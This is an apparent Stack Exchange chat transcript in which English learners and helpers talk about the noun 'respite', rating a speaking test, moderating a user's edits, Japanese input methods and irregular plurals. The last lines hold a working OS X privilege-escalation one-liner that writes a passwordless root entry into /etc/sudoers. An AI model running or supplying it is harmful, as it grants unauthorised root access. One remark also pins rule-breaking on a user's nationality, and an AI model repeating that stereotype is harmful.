ELL's Cabin

Anonymous

00:51

@inɒzɘmɒЯ.A.M = [thaizil]?

Damkerng T.

ふふふ。。。 ^_^

Anonymous

03:41

I don't think this answer deserves two downvotes, personally: ell.stackexchange.com/a/40780/230

Anonymous

I upvoted! :-)

Jim Reynolds

07:07

Hi @cat

user62015

Hi@JimReynolds

Jim Reynolds

@snai @dam @jims @inɒ @cat ... Would any/some of you be interested in trying to give me a rating on my student's performance on a speaking assessment?

There is an .mp3 file in here: goo.gl/7XDwHM along with background and guidelines on how to give a rating. Any help would be appreciated!

3

Hi @user What's up?

user62015

I am great.

Jim Reynolds

Good! What's new?

user62015

Could you tell me the noun "respite" is a countable noun or an uncountable noun?

Jim Reynolds

07:13

Usually uncountable.

But many nouns can be both, depending on how we are thinking of it when we use it.

Do you have a sentence?

Well, it's possible that most people consider it only uncountable. Let me do a little looking and see if I can find examples of people using "[some] respites".

user62015

Yes.

I am reading a novel and in the novel the writer has used it as a countable noun, and when I checked it in the dictionary I found out it can be used in the both ways. I am sending you some examples which I have taken from macmillandictionary.com/dictionary/british/respite

I don't think, I should send you the examples as you may find them after visiting the link.

Jim Reynolds

Well, but that link says that it's only uncountable.

jimsug

It's a good idea to read some samples of how it is used.

Jim Reynolds

Civil War armies appear to have fought all the time, with very brief respites.

user62015

But please check this example from the dictionary.

The road works have given residents a much-needed respite from the constant traffic.

The editor has used the article "a"

Jim Reynolds

07:19

Ah. OK. Yes. And the dictionary says "uncountable/singular"

but in fact, we can also use it in plural form.

user62015

So, I think he has used it as a countable noun as well.

Jim Reynolds

Yes.

He or she.

:D

user62015

Yes, I agree.

Jim Reynolds

But it's interesting. Cambridge Learner's dictionary also labels it as "uncountable/singular".

jimsug

corpus.byu.edu/glowbe/x1.asp?c=glowbe&q=40631272

corpus.byu.edu/glowbe/?c=glowbe&q=40631270

Try take a look at those @user

Jim Reynolds

07:22

So, we can conclude, I think, that some people will feel that it's not acceptable to use respites in the plural, but in reality, writers do use it that way.

@jimsug !!!

I'd love to learn more about using that resource.

I have been rather clumsily using corpus.byu.edu/coca for a long time.

But I've never seen a comprehensive guide to using some of it's more-than-very-basic functions.

user62015

Please wait. I am checking.

@JimReynolds What is it?

Jim Reynolds

Here's a dictionary that lists the plural form of the noun: ahdictionary.com/word/search.html?q=respite

What is what?

user62015

Okay, thanks. I was asking about the link. I am good now.

Jim Reynolds

Great!

Now that you have your answer, can you enjoy some respite?

user62015

07:37

I don't like respite as I think we should work hard as much as we can!

:-)

Jim Reynolds

I think we should hardly work.

user62015

That's also interesting.

Let me ask you a question.

Jim Reynolds

ok

Catija

@JimReynolds I'll give it a listen in the morning? I'm exhausted now.

Jim Reynolds

No hurry! Thanks.

My question: How do you keep two jims and a cat in suspense?

O.O

jimsug

08:36

@JimReynolds It's incredibly useful, and interesting.

Happy to help if you have any specific questions about it.

Jim Reynolds

Great. I'm happy to know it. Thanks!

jimsug

I'm usually in here, but otherwise you should be able to @-ping me to summon me here.

Jim Reynolds

An actual summon command would be more fun.

jimsug

summons @JimReynolds

Jim Reynolds

Poof!

Anonymous

09:05

A brief respite

Anonymous

Two brief respites, three brief respites ← are these ungrammatical?

Anonymous

@JimReynolds I can help, but not now. So if time isn't of the essence... :-)

Anonymous

Also, word of the day: photoplethysmogram

Jim Reynolds

09:39

@sna Please take as many brief respites or long respites as you wish, just get plenty of respite. I think not ungrammatical, though not a common use.

jimsug

Is respite something you can get?

It seems like something you can have.

Damkerng T.

10:01

Not sure, but if you asked for it, you got it. (Toyota) :P

@JimReynolds I'll take time to understand the guideline first and then listen to it tonight.

inɒzɘmɒЯ.A.M

13:18

@JimReynolds I'll be glad to help, after my class, which means I'll be available after 3 hours and half of posting this message.

Jude Niroshan

14:55

Hi. everyone!

CopperKettle

15:11

@JudeNiroshan Hey Jude! (0:

Jude Niroshan

@CopperKettle love beatles :D

CopperKettle

@JudeNiroshan Me too! (0:

Jude Niroshan

@CopperKettle nice to meet you. Where are you from?

CopperKettle

@JudeNiroshan Yekaterinburg

Yekaterinburg

Yekaterinburg (Russian: Екатеринбург; IPA: [jɪkətʲɪrʲɪnˈburk]), alternatively romanized as Ekaterinburg, is the fourth-largest city in Russia and the administrative center of Sverdlovsk Oblast, located in the middle of the Eurasian continent, on the border of Europe and Asia. At the 2010 Census, it had a population of 1,349,772. Yekaterinburg is the main industrial and cultural center of the Ural Federal District. Between 1924 and 1991, the city was named Sverdlovsk (Свердло́вск) after the Communist party leader Yakov Sverdlov. == History == Yekaterinburg was founded in 1723 by Vasily Tatishchev...

Jude Niroshan

so, mother russia

CopperKettle

15:17

(0:

Jude Niroshan

another boring night spending inside the office

CopperKettle

In Iran?

Jude Niroshan

@CopperKettle ceylon

CopperKettle

@JudeNiroshan Oh, sorry, I thought you were a friend of Maramezani for some reason.

Jude Niroshan

@CopperKettle awful. can't give an exact answer. I know him. Most probably he knows me too. :D

CopperKettle

15:23

(0:

BBL!

Jude Niroshan

@CopperKettle what are you doing? studying or professional worker?

inɒzɘmɒЯ.A.M

17:31

@JudeNiroshan He's a professional (?!) translator.

Oh! So it's a B1-level test, @JimR; no?

Man. . . I hope they tell me to score my own IELTS speaking test when I take it. . .

Anonymous

19:46

Shortly after I discovered photoplethysmogram, I found the term I really wanted to learn: dicrotic notch! Also called aortic notch or incisura

inɒzɘmɒЯ.A.M

That's a discovery. . .

Anonymous

Sometimes incisure, apparently. I guess that's the anglicized version of incisura.

Anonymous

Which is just Latin for 'notch'.

inɒzɘmɒЯ.A.M

Oh yellow @Cat! Sorry I bothered you a little bit last time.

Catija

Hi. No worry.

Catija

20:01

I'm never answering another one of Nima's questions. This is crazy... and I flagged it to be rolled back and no response from a mod... I know I could do it myself but I don't generally like doing that and he's just ignoring me. I swear I've asked him twice to not add to his questions.

inɒzɘmɒЯ.A.M

You're doing the right thing.

Anonymous

@Catija That's a sane response to nima.

Catija

J.R. hasn't been here for two days? Do we not have any mods left?

Well, I'm glad that you two agree with me, anyway.

inɒzɘmɒЯ.A.M

It ain't nothing on your side @Cat. It's Nima's fault.

The asker should be able to engage answerers to answer their question; if they want answers and are not a troll. Like me.

Anonymous

I don't answer any of nima's questions. Well, hardly ever.

inɒzɘmɒЯ.A.M

20:05

I notice that's a semantically interesting "like me".

@snailboat I reached @Cat's conclusion a while ago.

Anonymous

I think nima's been suspended before. I don't exactly keep track, but I know he does things that are outside the rules, and he doesn't ever change his behavior when asked.

Damkerng T.

@snailboat My latest answer to his question took maybe about two weeks before he accepted it. Basically, my question needed a native speaker to say something like my answer was correct first, afaicr.

inɒzɘmɒЯ.A.M

Well, he appeals the most rudimentary up-goer five answer; which is typically oversimplified.

Catija

Ugh. I hope they decide to soft graduate all of the long-time betas and we can have our mod elections.

inɒzɘmɒЯ.A.M

That's the worst part.

Damkerng T.

20:07

Hello, @Catija!

inɒzɘmɒЯ.A.M

@Catija You can say that again.

Anonymous

I rolled back the question. You may not alter your question in ways that validate existing answers. If you need to ask something else, please ask a new question. — snailboat 10 secs ago

Anonymous

I've removed requests for answers from a native speaker from at least 40 of nima's questions.

inɒzɘmɒЯ.A.M

Thumbs up

Anonymous

Not one of them has ever needed a response from a native speaker.

Catija

20:07

I think you mean "invalidate" but otherwise, thanks.

Anonymous

Yes, thank you.

Anonymous

Edited!

Catija

Hi @DamkerngT.

Anonymous

I make lots of silly errors like that.

Damkerng T.

Ah, it was about that bounty question.

inɒzɘmɒЯ.A.M

20:08

@snailboat PLZZZ URGENNT HALP!

Catija

OH, wow... You rolled back the entire thing.

That is not what I was expecting.

Anonymous

I did.

Anonymous

Too late.

Anonymous

I rolled it back to the revision before answers were posted.

Catija

No, it's fine. If that's what it takes to wake him up that his edits are inappropriate, that's what should be done.

Anonymous

20:09

I'm not usually shy about rolling things back.

inɒzɘmɒЯ.A.M

@Catija Will that wake him up?

Only time will tell.

But I think no.

His Iranian nature would stop him from adhering to the rules hehe.

Catija

@snailboat I'm glad. I am but I've never had mod powers, either... and I tend to be non-confrontational to a very high degree.

Anonymous

@Catija Well, I don't think I've ever been very popular on ELL ;-)

Catija

@inɒzɘmɒЯ.A.M Yeah, probably not... but at least he's not simply getting away with the bad behavior.

Damkerng T.

@snailboat I think it's exactly the opposite. :D

Catija

20:11

@snailboat I certainly disagree with that. :D

inɒzɘmɒЯ.A.M

@Catija I usually feel like that; but then Strict != not nice.

@snailboat You're my favorite teacher, don't dare say that!

Catija

@inɒzɘmɒЯ.A.M See... and i just started that python training thing on the web so I now know what != means. If you'd posted it yesterday afternoon, I'd have been confused.

Anonymous

It's easier to type for most folks than ≠, I guess!

inɒzɘmɒЯ.A.M

Well since I'm not really Unicody like @snail and LaTeX isn't preferred here, that's the only thing I got.

Anonymous

In Haskell, you can use ≠.

Damkerng T.

20:12

Agree. Sadly, ≠ is not very easy to type!

Catija

The closest I can ever get is =/= which is a bit oversized.

inɒzɘmɒЯ.A.M

≠

That was easy enough.

. . .To copy-paste

Let me add it to the Porkchat list. . .

Anonymous

I guess you can define ≠ in some other languages.

Damkerng T.

Most programming languages use either != or <>. Not sure if <> is easy to guess for most people, though.

Anonymous

I never understood why some languages used <>.

inɒzɘmɒЯ.A.M

20:14

Bingo!

Anonymous

I use Japanese input. It lets me type ≈ or ≠

Damkerng T.

@inɒzɘmɒЯ.A.M Congrats!

Anonymous

Or 鬱

inɒzɘmɒЯ.A.M

@snailboat That's one of the classic quotation "marks" in Arabic scripts.

@DamkerngT. ಠ_ಠ ᕙ(⇀‸↼‶)ᕗ≠

Anonymous

@inɒzɘmɒЯ.A.M Wouldn't they be ‹these›?

Anonymous

20:15

Not <these>

Damkerng T.

@inɒzɘmɒЯ.A.M Hehe!

inɒzɘmɒЯ.A.M

Oh, right.

Anonymous

@inɒzɘmɒЯ.A.M Haha, that one on the right is cute! I've never seen it before!

inɒzɘmɒЯ.A.M

Well, @Dam is adored by that too. Or enamored.

Anonymous

I cheat and use Japanese input for most everything outside of ASCII. Except there's a lot of stuff in IPA I haven't added to my input dictionary, so...

Anonymous

20:16

I often use an IPA web keyboard

inɒzɘmɒЯ.A.M

That one I bookmarked a bit earlier.

Anonymous

I have it bookmarked too! :-) It's my "ipa2" bookmark.

Anonymous

Because I was already using "ipa" for web.uvic.ca/ling/resources/ipa/charts/IPAlab/IPAlab.htm

Anonymous

"ipa3" is linguistlist.org/unicode/ipa.html

Catija

When I type in Japanese, I switch to the Hiragana keyboard but otherwise... I use the default.

Anonymous

20:18

@Catija When you convert from kana to kanji, it uses the input method's kana-kanji conversion dictionary. You can add items to this dictionary, so for example...

Anonymous

I added とれーどまーく to convert to ™

Anonymous

So now I can type ™! :-)

Damkerng T.

@snailboat I have it bookmarked too, but somehow it's not very easy to find it in my bookmarks.

inɒzɘmɒЯ.A.M

Me too ᕙ(⇀‸↼‶)ᕗ.

Damkerng T.

(Please don't ask me how many bookmarks I have.)

Anonymous

20:19

@DamkerngT. I add keywords for every bookmark I use, and then I type the keywords into the URL bar.

Anonymous

I haven't actually looked through my bookmarks in years.

inɒzɘmɒЯ.A.M

@DamkerngT. Do you look through your bookmarks? O.o

I only bookmarked it so it'd come up when I type IPA.

Anonymous

Back before browsers had keyword support, I used command-line aliases to pop up a browser with the URL or URL pattern I wanted, in the same fashion as keywords.

Anonymous

I guess that was the late 90s.

inɒzɘmɒЯ.A.M

And for some reason I heard a ping.

Anonymous

20:20

So it's pretty much an old habit for me, 'cept I type them into the URL bar instead of onto the command line now :-)

Anonymous

Sometimes I might do things in ways other people wouldn't, just because they reflect old habits of mine.

inɒzɘmɒЯ.A.M

All of the time I do things in ways other people wouldn't, just because they reflect old habits of mine.

Anonymous

Sometimes I make new habits. :-)

inɒzɘmɒЯ.A.M

Oh wait, it should be new habits.

Anonymous

New habits are expensive, though.

Anonymous

20:22

Myelination takes a while, y'know.

inɒzɘmɒЯ.A.M

I mostly use habits for "educational purposes".

@snailboat For once I know a word you use.

Damkerng T.

For example, if I typed ipa in the bookmark search textbox, I'll get about 30 results.

And yes, I just got another crash.

Catija

@snailboat Oh, that's so cool... I wonder if mine is the same... trademark　Nope... Just wants to change it to Hiragana or English.

inɒzɘmɒЯ.A.M

@Catija Just copy-paste it somewhere you can use.

But it's CC-by-SA.

Anonymous

@Catija I had to add it to my input method dictionary. I've added a couple thousand things.

Anonymous

20:25

I think... I think that's over a span of about 10 years.

Catija

@snailboat Yeah, I don't even know how to do that. It's nice the input method is native to the MacOS but my Japanese classes never showed us how to do it.

Anonymous

Oh! MacOS has a pretty nice input method.

Anonymous

I have a Mac! :-)

Anonymous

0

Q: Adding words to Hiragana input's dictionary

I am trying to figure out how to add new words to the Japanese dictionary. Specifically, my problem is, name of one of my friends is Manaka, spelled 愛可 (yes, that's 可愛い in reverse). Problem is, if I type in まなか and try find an appropriate kanji substitute, the only one that I find is 愛花 (and ...

Anonymous

Most of the time the dictionary is pretty good for surnames, but you have to add given names to the dictionary a lot of the time.

inɒzɘmɒЯ.A.M

20:27

@snailboat I always love those kinda collections.

Anonymous

I also like to add full names, just because then it automatically picks the right kanji for both when I type them out :-)

inɒzɘmɒЯ.A.M

@snailboat Like inɒzɘmɒЯ.A.M. Shtoopid dictionaries don't have an entry.

Anonymous

That's one of the main uses for the custom dictionary.

Anonymous

I have some IPA symbols added, too! Like I can type [ŋ] by typing えんぐ or [ɴ] by typing えぬ or [ʜ] by typing えいち

Anonymous

I added all the IPA symbols I need for Japanese, but I don't have half of the ones I need for English...

Catija

20:30

Hmmm, well, if I get back into it, I'll certainly look at it.

Anonymous

The biggest problem is if you use more than one computer.

inɒzɘmɒЯ.A.M

Then should I panic?

Catija

@snailboat You can't export your dictionary?

Anonymous

@Catija You can, but I don't know if anyone's really written tools that automatically sync dictionaries across computers with different OSs / input methods

Catija

@snailboat Ah... seems like it could be added as part of the iCloud services. If they can track your webpages and duplicate them on your iPhone from your laptop, they should be able to sync your dictionaries (assuming you have them turned on)...

Damkerng T.

20:36

I guess some people must've written a short code to export these kinds of personal dictionaries into text files, along with the importers.

The problem is where we can find those code.

Catija

I know that they're already doing it to some extent. When I add words to my iPhone dictionary, I think it ends up on my laptop.

Anonymous

@Catija Sadly, I don't always use Macs :-(

Catija

@snailboat Traitor!

Anonymous

Hah!

inɒzɘmɒЯ.A.M

@DamkerngT. They're called TeX packages.

Anonymous

20:37

My iPhone spell check hates me, by the way.

Anonymous

I type things correctly and it automatically replaces them with misspellings.

Damkerng T.

@snailboat I really like your Autoincorrect. Makes me feel a little better about my spelling. :D

Catija

@snailboat Are you sure that someone didn't mess with your autocorrect?

buzzfeed.com/expresident/nyoom-nyoom-nyoom#.cfOz9ZJlJ

Anonymous

@DamkerngT. Luckily, my brain has a built-in autoincorrect, so I can get the same effect even without an iPhone :-)

inɒzɘmɒЯ.A.M

@snailboat That's a beginning to AI mischief.

Damkerng T.

20:38

Hehe!

Anonymous

@inɒzɘmɒЯ.A.M I wonder how up-to-date the stuff you're learning in school is.

Anonymous

Myelination is a hot topic in current research.

Anonymous

When I was in school, people had no idea that it was a key element in learning even in adulthood.

inɒzɘmɒЯ.A.M

@snailboat Material from 1780.

Damkerng T.

@inɒzɘmɒЯ.A.M Plus or minus a few centuries.

Anonymous

20:40

And grey matter symbolized intelligence rather than white matter.

inɒzɘmɒЯ.A.M

Seriously though, our books are in Persian, and they get updated every 10 years at best.

Anonymous

It's funny how far we've come in just the last 15 years.

Anonymous

See e.g. To Learn is to Myelinate

Damkerng T.

@snailboat I think Skynet will be sooner than 2029.

inɒzɘmɒЯ.A.M

@snailboat I don't care as long as sheep brain is yummy.

Damkerng T.

20:41

Probably 2019. :P

Anonymous

Although there's a pretty large body of research on the subject already.

inɒzɘmɒЯ.A.M

@DamkerngT. I'm pretty sure it'll be sooner than 2028/12/25.

Gotcha.

@snailboat Here, research is well isolated from school syllabuses.

And that's the worst part about our educational system IMHO.

It's just books you need to memorize everything written in if you wish to succeed.

Damkerng T.

@inɒzɘmɒЯ.A.M Which is perfectly replaceable with Google.

Anonymous

I like irregular plurals much more than I have any right to.

Anonymous

So I really like syllabi.

inɒzɘmɒЯ.A.M

20:44

There are some major exams. . .

Anonymous

But!

Anonymous

See What's the plural of syllabus?

inɒzɘmɒЯ.A.M

So. . .It's just techniques to do well in them rather than real knowledge.

Anonymous

Mark Liberman suggests going with the regular plural.

Damkerng T.

> I'd say "syllabuses" as well, though I can't recall the last time I had occasion to use the plural form.

inɒzɘmɒЯ.A.M

20:44

Thus, we remain the industrially-idiots we are.

Damkerng T.

He spoke my mind!

Anonymous

inɒzɘmɒЯ.A.M just had occasion!

inɒzɘmɒЯ.A.M

That's me.

Damkerng T.

Wait for a window of opportunity.

Or else, make one.

inɒzɘmɒЯ.A.M

Or break one.

Syllabuses.

OMG another occasion!

Anonymous

20:46

I like irregular plurals like phalanges and atlantes or arthritides

Anonymous

Can you name the singular forms of those words without looking them up?

Anonymous

inɒzɘmɒЯ.A.M is on the silly bus.

Anonymous

Oh, I forgot all about Jim R's request.

Anonymous

My dad's on his flight back home right now (he was only here for a couple days), so I'm sitting around doing nothing now :-)

inɒzɘmɒЯ.A.M

Remove that before @JimR sees it.

Anonymous

21:05

By the way, I refuse to ever do any of SE's captchas. They're too obnoxious.

Damkerng T.

@snailboat Hah!

Catija

Well, now it's a lot easier to join a site, so if you want to search, join the community and don't bother with the Google Capchas.

Anonymous

Yeah. Unless it's the sort of community you don't want to be associated with, but in that case, I probably wouldn't be searching in the first place :-)

Anonymous

I do like the "join this community" link.

Damkerng T.

I can't recall any SE capchas aside from before getting the data query results (or anything they call it).

Anonymous

21:10

@DamkerngT. We're referring to the ones logged out users get when searching.

Anonymous

That's where that hamburger question came from :-)

Anonymous

35

Q: Is a hamburger considered a sandwich?

Today, a fellow user was given a CAPTCHA that looks like this: He wasn't sure how to solve the CAPTCHA, so he asked me: Are hamburgers considered sandwiches? Well, I couldn't figure it out, so I'm asking here! I know that the hamburger has in the past been called a sandwich. Wikiped...

food

Damkerng T.

Oh, perhaps I've never logged out of the system!

Anonymous

They're relatively new, too.

Damkerng T.

But I remember those hamburgers and sandwiches, though. :P

Anonymous

21:11

Most of the time I avoid using SE search anyway, since it's not very good.

Anonymous

I tend to use Google with, say, site:japanese.stackexchange.com

Anonymous

SE search is particularly bad for Japanese and Chinese.

Damkerng T.

21:28

@JimReynolds I've just finished the audio clip. Here are my results:

TXkgcmF0aW5ncyBmb3IgdGhlIEJhcmJhcmEgYW5kIEpvYW5uYToNCkJhcmJhcmE6IDkwDQpKb2FubmE‌6IDc4DQooUGxlYXNlIGZlZWwgZnJlZSB0byBhc2sgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCBteSByZWFz‌b25zIGJlaGluZCB0aGUgcmF0aW5ncyBpZiBuZWVkZWQuKQ==

inɒzɘmɒЯ.A.M

OMG OMG

That's. . .Enchanting.

Damkerng T.

(I considered it something spoiler-like, so I encoded it. To decode the message, use base64decode.org/.)

inɒzɘmɒЯ.A.M

You shouldn't have said that when I'm here. . .

Now I have to resist clicking that.

Damkerng T.

LOL

Anonymous

23:12

Off-topic. Well, even more off-topic: theregister.co.uk/2015/07/22/os_x_root_hole

Damkerng T.

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Hmm... >&3

Transcript for